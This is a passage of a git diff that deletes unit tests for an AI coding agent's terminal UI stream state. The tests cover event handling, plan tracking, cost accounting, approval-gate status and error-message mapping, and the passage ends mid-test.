— elapsed must resume from prior value, not 0. - rerender(); - await tick(20); - - const frame = lastFrame() ?? ""; - const match = /elapsed:(\d+)/.exec(frame); - expect(match).not.toBeNull(); - expect(Number(match![1])).toBeGreaterThan(150); -}); - -// C2: re-toggling active (false -> true) should NOT reset elapsedMs to 0 if the -// spinner was only briefly inactive. The elapsed counter should be cumulative -// across the whole working session, not per re-arm cycle. -// -// This test simulates the pattern the TUI produces: active goes true, then -// briefly false (tool result arrives), then true again (model re-thinks). -// Elapsed must keep climbing — it must not snap back to 0 on the second arm. -test("C2: elapsedMs does not reset to 0 when active re-arms after brief idle", async () => { - const { lastFrame, rerender } = render(); - await tick(200); - - // Simulate brief idle (tool result received). - rerender(); - await tick(20); - - // Re-arm for next model turn. - rerender(); - await tick(20); - - const frame = lastFrame() ?? ""; - const match = /elapsed:(\d+)/.exec(frame); - expect(match).not.toBeNull(); - // Should still reflect cumulative time (>0), not a fresh 0. - expect(Number(match![1])).toBeGreaterThan(0); -}); diff --git a/tests/unit/tui/use-stream.test.ts b/tests/unit/tui/use-stream.test.ts deleted file mode 100644 index 7e1ed91aa..000000000 --- a/tests/unit/tui/use-stream.test.ts +++ /dev/null @@ -1,1024 +0,0 @@ -import { test, expect } from "bun:test"; -import { createAgentStreamState } from "../../../src/tui/use-stream.js"; -import { setActivePricingCache } from "../../../src/cost/cost-visibility.js"; -import type { ReactorEmittedEvent } from "@intx/inference"; -import { INFERENCE_ABORT_INTERNAL_RECOVERY } from "../../../src/inference-abort.js"; - -const usageEvent = (input: number, output: number): ReactorEmittedEvent => - ({ - type: "inference.usage", - seq: 1, - data: { usage: { input, output, cacheRead: 0, cacheWrite: 0, thinking: 0 } }, - }) as unknown as ReactorEmittedEvent; - -test("prices the first session at the live model rate", () => { - setActivePricingCache({ - timestamp: 0, - models: { - "expensive-model": { inputPricePerToken: 0.001, outputPricePerToken: 0.002, cacheReadPricePerToken: 0 }, - }, - }); - const state = createAgentStreamState([], () => "expensive-model"); - // First session — no clear() — must already use the resolver, not the default rate. - state.addEvent(usageEvent(1000, 500)); - expect(state.totalCost).toBeCloseTo(1000 * 0.001 + 500 * 0.002, 10); - setActivePricingCache(null); -}); - -test("an unknown model falls back to the default rate", () => { - setActivePricingCache({ timestamp: 0, models: {} }); - const state = createAgentStreamState([], () => "mystery-model"); - state.addEvent(usageEvent(1000, 0)); - expect(state.totalCost).toBeCloseTo(1000 * 0.000002, 10); - setActivePricingCache(null); -}); - -test("createAgentStreamState initial state is empty", () => { - const state = createAgentStreamState(); - expect(state.contentBlocks.length).toBe(0); - expect(state.turnsUsed).toBe(0); - expect(state.status).toBe("idle"); - expect(state.totalCost).toBe(0); - expect(state.totalTokens).toBe(0); - expect(state.hooks).toEqual([]); -}); - -test("clear resets the transcript, telemetry, and status", () => { - const state = createAgentStreamState(); - - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.done", - seq: 2, - data: { - turn: { role: "assistant", model: "test", timestamp: 0, content: [] }, - usage: { input: 10, output: 5, cacheRead: 0, cacheWrite: 0, thinking: 0 }, - source: { id: "xai", model: "test" }, - } as unknown as ReactorEmittedEvent["data"], - }); - expect(state.contentBlocks.length).toBeGreaterThan(0); - expect(state.turnsUsed).toBeGreaterThan(0); - - state.clear(); - - expect(state.contentBlocks.length).toBe(0); - expect(state.turnsUsed).toBe(0); - expect(state.totalTokens).toBe(0); - expect(state.totalCost).toBe(0); - expect(state.status).toBe("idle"); - expect(state.latestUserMessage).toBe(""); - expect(state.currentPlanStep).toBe(null); -}); - -test("streamed text deltas reuse the contentBlocks snapshot reference", () => { - // The last block is mutated in place while a token streams in, so the - // snapshot array returned by contentBlocks must stay the same reference - // across those deltas — rebuilding it every token is what made steady-state - // streaming layout cost grow with transcript length instead of staying - // O(1). A structural change (a new block appended) must still produce a new - // reference so consumers relying on identity for change detection see it. - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "hello " } as unknown as ReactorEmittedEvent["data"], - }); - const first = state.contentBlocks; - expect(first.length).toBe(1); - expect(first[0].content).toBe("hello "); - - state.addEvent({ - type: "inference.text.delta", - seq: 2, - data: { token: "world" } as unknown as ReactorEmittedEvent["data"], - }); - const second = state.contentBlocks; - expect(second).toBe(first); - expect(second[0].content).toBe("hello world"); - - state.addEvent({ - type: "inference.tool_call.start", - seq: 3, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }); - const third = state.contentBlocks; - expect(third).not.toBe(second); - expect(third.length).toBe(2); -}); - -test("createAgentStreamState accumulates tool_call events", () => { - const state = createAgentStreamState(); - - const event: ReactorEmittedEvent = { - type: "inference.tool_call.start", - seq: 1, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }; - - state.addEvent(event); - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("tool_call"); - expect(state.contentBlocks[0].name).toBe("read_file"); -}); - -test("createAgentStreamState counts turns from inference.done", () => { - const state = createAgentStreamState(); - - const event: ReactorEmittedEvent = { - type: "inference.done", - seq: 1, - data: { - turn: { role: "assistant", model: "test", timestamp: 0, content: [] }, - usage: { input: 10, output: 5, cacheRead: 0, cacheWrite: 0, thinking: 0 }, - source: { id: "xai", model: "test" }, - } as unknown as ReactorEmittedEvent["data"], - }; - - state.addEvent(event); - expect(state.turnsUsed).toBe(1); -}); - -test("createAgentStreamState accumulates cost from usage events", () => { - const state = createAgentStreamState(); - - const event: ReactorEmittedEvent = { - type: "inference.usage", - seq: 1, - data: { - usage: { input: 1000, output: 500, cacheRead: 0, cacheWrite: 0, thinking: 0 }, - source: { id: "xai", model: "test" }, - } as unknown as ReactorEmittedEvent["data"], - }; - - state.addEvent(event); - expect(state.totalCost).toBeGreaterThan(0); - expect(state.totalTokens).toBe(1500); -}); - -test("createAgentStreamState tracks status from reactor.done", () => { - const state = createAgentStreamState(); - - const event: ReactorEmittedEvent = { - type: "reactor.done", - seq: 1, - data: {} as unknown as ReactorEmittedEvent["data"], - }; - - state.addEvent(event); - expect(state.status).toBe("done"); -}); - -test("createAgentStreamState tracks status from inference.error", () => { - const state = createAgentStreamState(); - - const event: ReactorEmittedEvent = { - type: "inference.error", - seq: 1, - data: { - error: { category: "fatal", message: "test error" }, - } as unknown as ReactorEmittedEvent["data"], - }; - - state.addEvent(event); - expect(state.status).toBe("failed"); -}); - -test("a received user message updates latest user message and adds a log block", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "message.received", - seq: 1, - data: { message: { content: "hello world" } } as unknown as ReactorEmittedEvent["data"], - }); - expect(state.latestUserMessage).toBe("hello world"); - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("user"); - expect(state.contentBlocks[0].content).toBe("hello world"); -}); - -test("createAgentStreamState accumulates thinking delta tokens", () => { - const state = createAgentStreamState(); - - state.addEvent({ type: "inference.thinking.delta", seq: 1, data: { token: "H" } as unknown as ReactorEmittedEvent["data"] }); - state.addEvent({ type: "inference.thinking.delta", seq: 2, data: { token: "i" } as unknown as ReactorEmittedEvent["data"] }); - - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("thinking"); - expect(state.contentBlocks[0].content).toBe("Hi"); -}); - -test("createAgentStreamState accumulates text delta tokens", () => { - const state = createAgentStreamState(); - - state.addEvent({ type: "inference.text.delta", seq: 1, data: { token: "Hello" } as unknown as ReactorEmittedEvent["data"] }); - - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("text"); - expect(state.contentBlocks[0].content).toBe("Hello"); -}); - -test("createAgentStreamState accumulates tool_call delta fragments", () => { - const state = createAgentStreamState(); - - state.addEvent({ type: "inference.tool_call.start", seq: 1, data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"] }); - state.addEvent({ type: "inference.tool_call.delta", seq: 2, data: { argumentFragment: '{"path":"a"}' } as unknown as ReactorEmittedEvent["data"] }); - - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("tool_call"); - expect(state.contentBlocks[0].arguments).toBe('{"path":"a"}'); -}); - -function submitPlanEvents(callId: string, steps: Array<{ file: string; action: string; reason?: string }>): ReactorEmittedEvent[] { - return [ - { - type: "inference.tool_call.start", - seq: 1, - data: { name: "submit_plan", callId } as unknown as ReactorEmittedEvent["data"], - }, - { - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: JSON.stringify({ steps }) } as unknown as ReactorEmittedEvent["data"], - }, - { - type: "tool.done", - seq: 3, - data: { result: { callId, content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"], - }, - ]; -} - -test("submit_plan promotes to pinned plan block at index 0", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("plan-1", [ - { file: "src/a.ts", action: "create", reason: "x" }, - { file: "src/b.ts", action: "edit", reason: "y" }, - ])) { - state.addEvent(e); - } - - expect(state.contentBlocks.length).toBe(1); - expect(state.contentBlocks[0].type).toBe("plan"); - const plan = state.contentBlocks[0] as { type: "plan"; steps: Array<{ file: string; action: string; reason: string }> }; - expect(plan.steps).toEqual([ - { file: "src/a.ts", action: "create", reason: "x" }, - { file: "src/b.ts", action: "edit", reason: "y" }, - ]); -}); - -test("submit_plan does not leave a tool_call or tool_result behind", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("plan-1", [{ file: "f", action: "a" }])) { - state.addEvent(e); - } - expect(state.contentBlocks.some((b) => b.type === "tool_call")).toBe(false); - expect(state.contentBlocks.some((b) => b.type === "tool_result")).toBe(false); -}); - -test("plan stays pinned at index 0 as new events arrive", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("plan-1", [{ file: "f", action: "a" }])) { - state.addEvent(e); - } - - state.addEvent({ - type: "message.received", - seq: 9, - data: { message: { content: "now do it" } } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.tool_call.start", - seq: 10, - data: { name: "read_file", callId: "c2" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 11, - data: { result: { callId: "c2", content: "file body", isError: false } } as unknown as ReactorEmittedEvent["data"], - }); - - expect(state.contentBlocks[0].type).toBe("plan"); - expect(state.contentBlocks.filter((b) => b.type === "plan").length).toBe(1); - expect(state.contentBlocks.length).toBeGreaterThan(1); -}); - -test("submit_plan with invalid arguments yields an empty plan block (no crash)", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "submit_plan", callId: "p1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: "{not-json" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 3, - data: { result: { callId: "p1", content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"], - }); - - expect(state.contentBlocks[0].type).toBe("plan"); - expect((state.contentBlocks[0] as { steps: unknown[] }).steps).toEqual([]); -}); - -test("failed submit_plan does not create a plan block", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "submit_plan", callId: "p1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 2, - data: { result: { callId: "p1", content: "bad", isError: true } } as unknown as ReactorEmittedEvent["data"], - }); - - expect(state.contentBlocks.some((b) => b.type === "plan")).toBe(false); -}); - -test("createAgentStreamState tracks hook load and update events", () => { - const state = createAgentStreamState(); - state.addHookEvent({ - type: "hooks.loaded", - hooks: [ - { - id: "hook-1", - name: "one.ts", - type: "typescript", - path: "/tmp/one.ts", - enabled: true, - }, - ], - }); - expect(state.hooks.length).toBe(1); - expect(state.hooks[0]?.enabled).toBe(true); - - state.addHookEvent({ - type: "hook.updated", - hook: { - id: "hook-1", - name: "one.ts", - type: "typescript", - path: "/tmp/one.ts", - enabled: false, - lastExitStatus: { code: 0, signal: null, stderr: "" }, - }, - }); - - expect(state.hooks[0]?.enabled).toBe(false); - expect(state.hooks[0]?.lastExitStatus?.code).toBe(0); -}); - -function toolCallEvents(name: string, callId: string, args: object): ReactorEmittedEvent[] { - return [ - { type: "inference.tool_call.start", seq: 1, data: { name, callId } as unknown as ReactorEmittedEvent["data"] }, - { type: "inference.tool_call.delta", seq: 2, data: { argumentFragment: JSON.stringify(args) } as unknown as ReactorEmittedEvent["data"] }, - { type: "tool.done", seq: 3, data: { result: { callId, content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"] }, - ]; -} - -test("structured tool result content is normalized to a string", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "web_search", callId: "web-1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 2, - data: { - result: { - callId: "web-1", - content: { - results: [{ title: "Hono", url: "https://hono.dev", snippet: "Fast web framework" }], - }, - isError: false, - }, - } as unknown as ReactorEmittedEvent["data"], - }); - - const result = state.contentBlocks.at(-1); - expect(result?.type).toBe("tool_result"); - if (result?.type !== "tool_result") return; - expect(result.content).toContain('"results"'); - expect(result.content).toContain("https://hono.dev"); -}); - -test("submit_plan seeds plan totals and current step", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [ - { file: "src/a.ts", action: "create" }, - { file: "src/b.ts", action: "edit" }, - ])) { - state.addEvent(e); - } - expect(state.planTotal).toBe(2); - expect(state.currentPlanStep).toBe(0); - expect(state.planDeviated).toBe(false); -}); - -test("write_file on the matching step advances the current plan step", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [ - { file: "src/a.ts", action: "create" }, - { file: "src/b.ts", action: "edit" }, - ])) { - state.addEvent(e); - } - for (const e of toolCallEvents("write_file", "w1", { path: "src/a.ts" })) { - state.addEvent(e); - } - expect(state.currentPlanStep).toBe(1); - expect(state.planDeviated).toBe(false); -}); - -test("edit_file on a non-matching file sets planDeviated", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [{ file: "src/a.ts", action: "create" }])) { - state.addEvent(e); - } - for (const e of toolCallEvents("edit_file", "w1", { path: "src/elsewhere.ts" })) { - state.addEvent(e); - } - expect(state.planDeviated).toBe(true); - expect(state.currentPlanStep).toBe(0); -}); - -test("a failed write does not advance the plan step", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [{ file: "src/a.ts", action: "create" }, { file: "src/b.ts", action: "edit" }])) { - state.addEvent(e); - } - state.addEvent({ type: "inference.tool_call.start", seq: 1, data: { name: "write_file", callId: "w1" } as unknown as ReactorEmittedEvent["data"] }); - state.addEvent({ type: "inference.tool_call.delta", seq: 2, data: { argumentFragment: JSON.stringify({ path: "src/a.ts" }) } as unknown as ReactorEmittedEvent["data"] }); - state.addEvent({ type: "tool.done", seq: 3, data: { result: { callId: "w1", content: "denied", isError: true } } as unknown as ReactorEmittedEvent["data"] }); - expect(state.currentPlanStep).toBe(0); - expect(state.planDeviated).toBe(false); -}); - -test("setGatePending toggles between running and blocked", () => { - const state = createAgentStreamState(); - state.markRunning(); - expect(state.status).toBe("running"); - state.setGatePending(true); - expect(state.status).toBe("blocked"); - state.setGatePending(false); - expect(state.status).toBe("running"); -}); - -test("setGatePending does not override a terminal done status", () => { - const state = createAgentStreamState(); - state.addEvent({ type: "reactor.done", seq: 1, data: {} as unknown as ReactorEmittedEvent["data"] }); - state.setGatePending(true); - expect(state.status).toBe("done"); -}); - -test("awaitingResponse arms on send and clears on the first streamed token", () => { - const state = createAgentStreamState(); - expect(state.awaitingResponse).toBe(false); - - state.markRunning(); - expect(state.awaitingResponse).toBe(true); - - state.addEvent({ type: "inference.text.delta", seq: 1, data: { token: "H" } as unknown as ReactorEmittedEvent["data"] }); - expect(state.awaitingResponse).toBe(false); -}); - -test("awaitingResponse re-arms after a tool result until the next token", () => { - const state = createAgentStreamState(); - for (const e of toolCallEvents("read_file", "c1", { path: "a.ts" })) state.addEvent(e); - // tool.done was the last event — the model is now thinking again. - expect(state.awaitingResponse).toBe(true); - - state.addEvent({ type: "inference.text.delta", seq: 9, data: { token: "x" } as unknown as ReactorEmittedEvent["data"] }); - expect(state.awaitingResponse).toBe(false); -}); - -test("awaitingResponse clears when inference completes without streamed tokens", () => { - const state = createAgentStreamState(); - for (const e of toolCallEvents("read_file", "c1", { path: "a.ts" })) state.addEvent(e); - expect(state.awaitingResponse).toBe(true); - - state.addEvent({ - type: "inference.done", - seq: 9, - data: { - turn: { role: "assistant", model: "test", timestamp: 0, content: [] }, - usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, thinking: 0 }, - source: { id: "test", model: "test" }, - } as unknown as ReactorEmittedEvent["data"], - }); - - expect(state.awaitingResponse).toBe(false); -}); - -test("awaitingResponse clears when the run completes", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent({ type: "reactor.done", seq: 1, data: {} as unknown as ReactorEmittedEvent["data"] }); - expect(state.awaitingResponse).toBe(false); -}); - -test("elapsedMs freezes after the run completes", async () => { - const state = createAgentStreamState(); - state.addEvent({ type: "reactor.done", seq: 1, data: {} as unknown as ReactorEmittedEvent["data"] }); - const first = state.elapsedMs; - await new Promise((r) => setTimeout(r, 5)); - expect(state.elapsedMs).toBe(first); -}); - -// D3: contentBlocks getter must return the same array reference on consecutive reads -// within a single render cycle (no intervening mutations). -test("D3: contentBlocks returns the same reference when nothing changed", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "hello" } as unknown as ReactorEmittedEvent["data"], - }); - const a = state.contentBlocks; - const b = state.contentBlocks; - expect(a).toBe(b); -}); - -// D3: A structural change (a new block) must return a new reference so -// consumers relying on identity for change detection see it. -// -// A follow-up streamed token delta into an *existing* block used to also -// return a new reference here — the getter re-copied the whole contentBlocks -// array on every token. That made steady-state streaming layout cost grow -// with transcript length instead of staying O(1): a token delta -// mutates the trailing block's content in place, so the array's shape and -// object identities are unchanged and no new snapshot is needed. React -// re-rendering on a token delta does not depend on this reference changing — -// useAgentStream forces a re-render via its own tick/displayRevision state, -// not via contentBlocks identity. See the "reuse the contentBlocks snapshot -// reference" test below for the corrected invariant. -test("D3: contentBlocks returns a new reference after a structural change", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "hello" } as unknown as ReactorEmittedEvent["data"], - }); - const before = state.contentBlocks; - state.addEvent({ - type: "inference.tool_call.start", - seq: 2, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }); - const after = state.contentBlocks; - expect(after).not.toBe(before); -}); - -// E1: resolving one gate while another is still open must NOT flip status back to "running". -test("E1: status stays blocked when two gates open and only one resolves", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.setGatePending(true); - state.setGatePending(true); - state.setGatePending(false); - expect(state.status).toBe("blocked"); -}); - -// E1: status returns to running only when the last gate resolves. -test("E1: status returns to running when all gates resolve", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.setGatePending(true); - state.setGatePending(true); - state.setGatePending(false); - state.setGatePending(false); - expect(state.status).toBe("running"); -}); - -// H3: a successful present must splice out the originating tool_call block. -test("H3: present success removes the tool_call block from the log", () => { - const state = createAgentStreamState(); - // validateView expects { type: "text", text: "..." } - const view = { type: "text", text: "hi" }; - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "present", callId: "p1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: JSON.stringify({ view }) } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 3, - data: { result: { callId: "p1", content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"], - }); - const blocks = state.contentBlocks; - expect(blocks.some((b) => b.type === "tool_call" && b.name === "present")).toBe(false); - expect(blocks.some((b) => b.type === "view")).toBe(true); -}); - -// H4: callIdToName and callIdToArguments must not retain entries after tool.done is processed. -// We verify this indirectly: after a tool.done for a given callId, a *second* tool.done -// with the same callId (e.g. replayed or duplicated) must not find stale map entries. -// The observable effect is that the second event falls through to a plain tool_result -// rather than triggering special logic (no second plan block, no second view block). -test("H4: stale map entries are cleaned up after tool.done for submit_plan", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [{ file: "a.ts", action: "create" }])) { - state.addEvent(e); - } - // Replay the same tool.done — should not create a second plan block. - state.addEvent({ - type: "tool.done", - seq: 99, - data: { result: { callId: "p1", content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"], - }); - expect(state.contentBlocks.filter((b) => b.type === "plan").length).toBe(1); -}); - -// --------------------------------------------------------------------------- -// inference.error category mapping -// --------------------------------------------------------------------------- - -function inferenceErrorEvent(category: string, message: string): ReactorEmittedEvent { - return { - type: "inference.error", - seq: 1, - data: { error: { category, message } } as unknown as ReactorEmittedEvent["data"], - }; -} - -test("inference.error credential_failure maps to friendly message and sets status failed", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("credential_failure", "raw")); - expect(state.status).toBe("failed"); - const last = state.contentBlocks.at(-1); - expect(last?.type).toBe("error"); - if (last?.type !== "error") return; - expect(last.message).toBe("Session expired — re-authenticating…"); -}); - -test("inference.error quota_exhausted maps to friendly message", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("quota_exhausted", "raw")); - const last = state.contentBlocks.at(-1); - if (last?.type !== "error") throw new Error("expected error block"); - expect(last.message).toBe("Quota exhausted — usage limit reached."); -}); - -test("inference.error context_overflow maps to friendly message", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("context_overflow", "raw")); - const last = state.contentBlocks.at(-1); - if (last?.type !== "error") throw new Error("expected error block"); - expect(last.message).toBe("Context window full — compaction could not keep up. Try /clear to start fresh."); -}); - -test("a quota_exhausted error whose message describes a context overflow is reclassified", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("quota_exhausted", "This model's maximum context length is 32768 tokens")); - const last = state.contentBlocks.at(-1); - if (last?.type !== "error") throw new Error("expected error block"); - expect(last.message).toContain("Context window full"); -}); - -test.each(["retryable", "timeout"])( - "inference.error %s stays live without rendering recovery noise", - (category) => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent(category, "raw")); - expect(state.status).not.toBe("failed"); - expect(state.contentBlocks.some((block) => block.type === "error")).toBe(false); - }, -); - -test("inference.error internal-recovery aborted stays live without rendering recovery noise", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.error", - data: { - error: { category: "aborted", message: "raw", raw: { origin: INFERENCE_ABORT_INTERNAL_RECOVERY } }, - }, - } as ReactorEmittedEvent); - expect(state.status).not.toBe("failed"); - expect(state.contentBlocks.some((block) => block.type === "error")).toBe(false); -}); - -test("inference.error protocol_mismatch maps to friendly message", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("protocol_mismatch", "raw")); - const last = state.contentBlocks.at(-1); - if (last?.type !== "error") throw new Error("expected error block"); - expect(last.message).toBe("Unexpected response from inference API."); -}); - -test("inference.error unknown category falls back to raw message", () => { - const state = createAgentStreamState(); - state.addEvent(inferenceErrorEvent("some_new_category", "the upstream detail")); - expect(state.status).toBe("failed"); - const last = state.contentBlocks.at(-1); - if (last?.type !== "error") throw new Error("expected error block"); - // Falls back to err.message so callers see the original detail instead of undefined. - expect(last.message).toBe("the upstream detail"); -}); - -// --------------------------------------------------------------------------- -// reactor.error -// --------------------------------------------------------------------------- - -test("reactor.error pushes an error block and sets status to failed", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "reactor.error", - seq: 1, - data: { fatal: true, error: "disk full" } as unknown as ReactorEmittedEvent["data"], - }); - expect(state.status).toBe("failed"); - const last = state.contentBlocks.at(-1); - expect(last?.type).toBe("error"); - if (last?.type !== "error") return; - expect(last.message).toBe("disk full"); -}); - -// --------------------------------------------------------------------------- -// Orphaned inference.tool_call.delta (no preceding start, openCallId null) -// --------------------------------------------------------------------------- - -test("orphaned tool_call.delta with no preceding start does not crash and is dropped", () => { - const state = createAgentStreamState(); - // No tool_call.start has fired — openCallId is null and contentBlocks is empty. - expect(() => { - state.addEvent({ - type: "inference.tool_call.delta", - seq: 1, - data: { argumentFragment: '{"path":"x"}' } as unknown as ReactorEmittedEvent["data"], - }); - }).not.toThrow(); - // Fragment must be silently dropped — no block should have been created. - expect(state.contentBlocks.length).toBe(0); -}); - -test("orphaned tool_call.delta after a text block does not corrupt the text block", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "hello" } as unknown as ReactorEmittedEvent["data"], - }); - // openCallId is still null here — no start was ever fired. - state.addEvent({ - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: "CORRUPT" } as unknown as ReactorEmittedEvent["data"], - }); - // The text block must be unchanged; the fragment must not have been appended. - expect(state.contentBlocks.length).toBe(1); - const block = state.contentBlocks[0]; - if (block?.type !== "text") throw new Error("expected text block"); - expect(block.content).toBe("hello"); -}); - -// --------------------------------------------------------------------------- -// connector.reply DROP path -// --------------------------------------------------------------------------- - -test("connector.reply is dropped when text deltas already arrived this cycle", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "streamed" } as unknown as ReactorEmittedEvent["data"], - }); - // connector.reply fired after deltas — must not append duplicate content. - state.addEvent({ - type: "connector.reply", - seq: 2, - data: { content: "streamed" } as unknown as ReactorEmittedEvent["data"], - }); - // Still exactly one text block with only the streamed token. - const textBlocks = state.contentBlocks.filter((b) => b.type === "text"); - expect(textBlocks.length).toBe(1); - if (textBlocks[0]?.type !== "text") return; - expect(textBlocks[0].content).toBe("streamed"); -}); - -test("connector.reply is pushed when no text deltas arrived since the last reply", () => { - const state = createAgentStreamState(); - // No inference.text.delta fired — director-generated reply must be rendered. - state.addEvent({ - type: "connector.reply", - seq: 1, - data: { content: "director reply" } as unknown as ReactorEmittedEvent["data"], - }); - const textBlocks = state.contentBlocks.filter((b) => b.type === "text"); - expect(textBlocks.length).toBe(1); - if (textBlocks[0]?.type !== "text") return; - expect(textBlocks[0].content).toBe("director reply"); -}); - -test("connector.reply resets the delta flag so a subsequent reply is not dropped", () => { - const state = createAgentStreamState(); - // First cycle: delta then reply (dropped). - state.addEvent({ - type: "inference.text.delta", - seq: 1, - data: { token: "first" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "connector.reply", - seq: 2, - data: { content: "first" } as unknown as ReactorEmittedEvent["data"], - }); - // Second cycle: no delta before next reply — must NOT be dropped. - state.addEvent({ - type: "connector.reply", - seq: 3, - data: { content: "second director" } as unknown as ReactorEmittedEvent["data"], - }); - // The second reply content must appear. - const textBlocks = state.contentBlocks.filter((b) => b.type === "text"); - const combined = textBlocks.map((b) => (b.type === "text" ? b.content : "")).join(""); - expect(combined).toContain("second director"); -}); - -// --------------------------------------------------------------------------- -// Duplicate inference.tool_call.start with the same callId -// --------------------------------------------------------------------------- - -test("duplicate tool_call.start with the same callId does not corrupt a different in-flight call", () => { - const state = createAgentStreamState(); - // Start call A. - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "read_file", callId: "a1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: '{"path":"keep"}' } as unknown as ReactorEmittedEvent["data"], - }); - // Spurious duplicate start for the same callId — must not corrupt call A's arg accumulator - // by overwriting it with an empty string while a different tool is running concurrently. - // After the duplicate start the openCallId is now "a1" again; a delta goes to a1. - state.addEvent({ - type: "inference.tool_call.start", - seq: 3, - data: { name: "read_file", callId: "a1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "tool.done", - seq: 4, - data: { result: { callId: "a1", content: "ok", isError: false } } as unknown as ReactorEmittedEvent["data"], - }); - // The tool_result block must use the tracked name, not fall back to callId. - const resultBlock = state.contentBlocks.find((b) => b.type === "tool_result"); - expect(resultBlock?.type).toBe("tool_result"); - if (resultBlock?.type !== "tool_result") return; - expect(resultBlock.name).toBe("read_file"); -}); - -test("duplicate tool_call.start resets arg accumulator for that callId", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "write_file", callId: "w1" } as unknown as ReactorEmittedEvent["data"], - }); - state.addEvent({ - type: "inference.tool_call.delta", - seq: 2, - data: { argumentFragment: '{"path":"original.ts"}' } as unknown as ReactorEmittedEvent["data"], - }); - // Duplicate start clears the arg accumulator to "". - state.addEvent({ - type: "inference.tool_call.start", - seq: 3, - data: { name: "write_file", callId: "w1" } as unknown as ReactorEmittedEvent["data"], - }); - // Only the post-reset fragment arrives. - state.addEvent({ - type: "inference.tool_call.delta", - seq: 4, - data: { argumentFragment: '{"path":"reset.ts"}' } as unknown as ReactorEmittedEvent["data"], - }); - // Two tool_call blocks were pushed (one per start). The last one is the active one. - const toolCallBlocks = state.contentBlocks.filter((b) => b.type === "tool_call"); - // We verify the last block's arguments only contain the post-reset fragment. - const lastToolCall = toolCallBlocks.at(-1); - if (lastToolCall?.type !== "tool_call") throw new Error("expected tool_call block"); - expect(lastToolCall.arguments).toBe('{"path":"reset.ts"}'); -}); - -// --------------------------------------------------------------------------- -// nextFileStepIndex — fileless step skipping and plan deviation -// --------------------------------------------------------------------------- - -test("write_file during a fileless step skips to the next file step and does not deviate", () => { - const state = createAgentStreamState(); - // Step 0 has no file (investigate), step 1 has foo.ts. - for (const e of submitPlanEvents("p1", 